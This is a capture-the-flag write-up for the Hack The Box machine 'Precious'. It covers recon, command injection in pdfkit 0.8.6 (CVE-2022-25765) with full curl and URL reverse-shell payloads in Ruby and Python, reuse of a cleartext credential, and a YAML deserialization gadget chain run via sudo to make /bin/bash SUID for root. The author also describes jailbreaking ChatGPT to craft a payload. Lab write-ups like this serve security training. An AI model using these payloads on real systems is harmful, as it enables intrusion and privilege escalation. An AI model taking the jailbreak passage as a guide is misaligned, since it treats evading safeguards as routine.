Skip to content

Latest commit

 

History

History
470 lines (343 loc) · 17.5 KB

precious-easy-1.md

File metadata and controls

470 lines (343 loc) · 17.5 KB
description
04-26-2023

Precious (Easy)

Information Gathering

Scanned all TCP ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerated UDP ports:

N/A

Notes:

  • 80 and 22 is open, providing a possible entry point from both ports
  • Added precious.htb to /etc/hosts
  • Viewed source code on precious.htb and could not find any secrets
  • Exhausted enumeration, the only thing that is left is to play with the web application itself to see if we can break/force functionality

Enumeration

Port 80 - HTTP (nginx 1.18.0)

Visual Inspection

Directory Bruteforce

dirsearch -u http://precious.htb
  • No results
feroxbuster -u http://precious.htb ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://precious.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l        2w       18c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       18l       42w      483c http://precious.htb/
[####################] - 40s    30000/30000   0s      found:1       errors:0      
[####################] - 40s    30000/30000   748/s   http://precious.htb/
  • Nothing found

Subdomain Enumeration

ffuf -u http://precious.htb -H "Host: FUZZ.precious.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://precious.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.precious.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 145
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 1052 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
  • No results

Web Server Fingerprinting

{% code overflow="wrap" %}

whatweb precious.htb
http://precious.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.18.0 + Phusion Passenger(R) 6.0.15], IP[10.129.244.33], Ruby-on-Rails, Title[Convert Web Page to PDF], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-Powered-By[Phusion Passenger(R) 6.0.15], X-XSS-Protection[1; mode=block], nginx[1.18.0]

{% endcode %}

  • nginx 1.18.0
  • Ruby-on-Rails
  • Phusion Passenger(R) 6.0.15 -- Ran searchsploit -- no luck

Vulnerability Scan

nikto -h http://precious.htb
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.129.244.33
+ Target Hostname:    precious.htb
+ Target Port:        80
+ Start Time:         2023-04-19 16:30:55 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
+ /: Retrieved x-powered-by header: Phusion Passenger(R) 6.0.15.
+ /: Uncommon header 'x-runtime' found, with contents: Ruby.
+ /FFjnCpnU.chl+: Uncommon header 'x-cascade' found, with contents: pass.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ : Server banner changed from 'nginx/1.18.0 + Phusion Passenger(R) 6.0.15' to 'nginx/1.18.0'.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ nginx/1.18.0 appears to be outdated (current is at least 1.20.1).
+ 7962 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-04-19 16:38:13 (GMT-4) (438 seconds)
  • No findings

Web Application Testing

Decided to begin testing the web application at this point. Let's see if we can communicate back to our box via python web server:

Confirmed, we can communicate successfully. How can we exploit this behavior?

I attempted to make the application fetch itself, but that did not work.

Burpsuite Request Analysis

Upon starting a python web server and attempting to fetch myself, I noticed a % at the top of the Response in Burp. This is an obvious sign that some sort of template is used on the backend.

Since our server is utilizing Ruby-on-Rails, why not attempt Ruby SSTI? However, let's keep looking.

Let's download any generated PDF and read it's metadata contents with exiftool:

  • By keeping our python web server running above, we can simply use our local web server to perform this task

Trigger the download from the browser

exiftool ~/Downloads/u3k8cdohntpcw26oda5vcsnjcq8vo8k6.pdf

pdfkit v0.8.6 has been identified; we should look into this

We can also view this same information in the request used to convert a web page to a PDF by capturing it in Burp:

Burp request

This is why it is so important to enumerate! When enumerating, you want to view EVERYTHING; time permitting!

OSINT

{% embed url="https://github.com/CyberArchitect1/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell" %}

By simply Googling "pdfkit v0.8.6", I was able to quickly find multiple references to CVE-2022-25765

Exploitation

Ruby-based Server Side Template Injection (SSTI) Stemming from CVE-2022-25765

I was able to test and locate this vulnerability using simple arithmetic logic directly into the user input field on the web app.

After I was able to confirm code execution was taking place, the next logical step is to replace the benign payload with a more malicious one and attempt to execute a reverse shell.

Start HTTP server:

python3 -m http.server 80

Start nc listener:

nc -lnvp 1337

Via Curl Method:

PoC:

{% code overflow="wrap" %}

CURL (modify bold values): curl 'TARGET-URL' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_URL' -H 'Connection: keep-alive' -H 'Referer: TARGET_URL' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-IP%3ALOCAL-HTTP-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-IP%22%2CLOCAL-LISTEN-PORT%29%29%27%60'

{% endcode %}

Working Exploit:

{% code overflow="wrap" %}

curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://precious.htb' -H 'Connection: keep-alive' -H 'Referer: http://precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.97%3A80%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.97%22%2C1337%29%29%27%60'

{% endcode %}

  • Note that you need to put your port number of your local web server in the third-to-last entry

Ruby SSTI Python-based Reverse Shell Payload:

  • You can place this directly into the web app and obtain a reverse shell

{% code overflow="wrap" %}

http://10.10.14.38/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.38",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'`

{% endcode %}

Using a Jailbreak on ChatGPT, I was also able to craft a payload:

{% embed url="https://www.digitaltrends.com/computing/how-to-jailbreak-chatgpt/" %}

ChatGPT Payload (Jailbroken):

{% code overflow="wrap" %}

http://10.10.14.38/?name=#{`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.38\",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`}"}

{% endcode %}

  • Unfortunately, this did not work

There was another way of doing this... If you download the generated PDF, you can use exiftool to view metadata and hex data. Inside at the end, there is a header that shows that it is generated by pdfkit v0.8.6.

{% embed url="https://github.com/UNICORDev/exploit-CVE-2022-25765" %}

Privilege Escalation

We spawned in as the ruby user. There is another user named henry on the box too.

Local enumeration

  • I was unable to find anything where I spawned unfortunately
  • There is strange port running internally -- 127.0.0.1:35389
    • Tried curling but it returned "request empty" maybe we should google this

Linpeas

/etc/nginx/sites-available/pdfapp.conf

╔══════════╣ Unexpected in /opt (usually empty)
total 16
drwxr-xr-x  3 root root 4096 Oct 26 08:28 .
drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
drwxr-xr-x  2 root root 4096 Oct 26 08:28 sample
-rwxr-xr-x  1 root root  848 Sep 25  2022 update_dependencies.rb

╔══════════╣ Executable files potentially added by user (limit 70)
2022-11-21+15:15:08.0729708500 /usr/local/sbin/laurel
2022-09-26+05:04:43.6880195170 /home/ruby/.bundle/config
2022-09-26+05:04:42.9800195060 /usr/local/bin/tilt
2022-09-26+05:04:42.8480195040 /usr/local/bin/rackup
2022-09-26+05:04:39.0520194460 /usr/local/bin/bundler
2022-09-26+05:04:39.0520194460 /usr/local/bin/bundle

/home/henry/user.txt
/home/henry/.bash_history
/home/ruby/.bundle
************ /home/ruby/.bundle/config ************
/home/ruby/.bash_history

/etc/pam.d/common-password
/tmp/passenger.hFvr192/full_admin_password.txt
/tmp/passenger.hFvr192/read_only_admin_password.txt

PrivEsc vector

ruby -> henry

************ /home/ruby/.bundle/config ************

Cleartext credentials:

cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Escalate to henry user:

su henry
password: Q3c1AqGHtoI0aXAYFH

Cleartext credentials for henry found

henry -> root

The first thing that I did was run sudo -l and this was the output:

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

/opt/update_dependencies.rb:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

When we try to execute /opt/update_dependencies.rb with sudo permissions, we get an error that a file does not exist (dependencies.rb).

We can see that it is trying to pull data from a file named dependencies.yml.

Inside of /opt/sample/dependencies.yml, we can see yaml 0.1.1 and pdfkit v.0.8.6

Doing some OSINT on yaml 0.1.1, I was able to find a deserialization remote code execution exploit:

{% embed url="https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/" %}

  • This appears to be the way that we have to go about escalating our privileges
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolveub
  • From here, we can quickly identify the linux command id which points us in the direction of where we can inject a malicious command rather than id
  • How about we simply place chmod +s /bin/bash?

Time to create a malicious dependencies.yaml file that the /opt/update_dependencies.rb file will call with sudo permissions:

dependencies.yaml:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolveub

Now execute the script with sudo permissions:

sudo /usr/bin/ruby /opt/update_dependencies.rb

Note: you will get errors, ignore them.

Now, check the permissions of /bin/bash:

ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Gain root shell in /bin/bash:

/bin/bash -p

proof.txt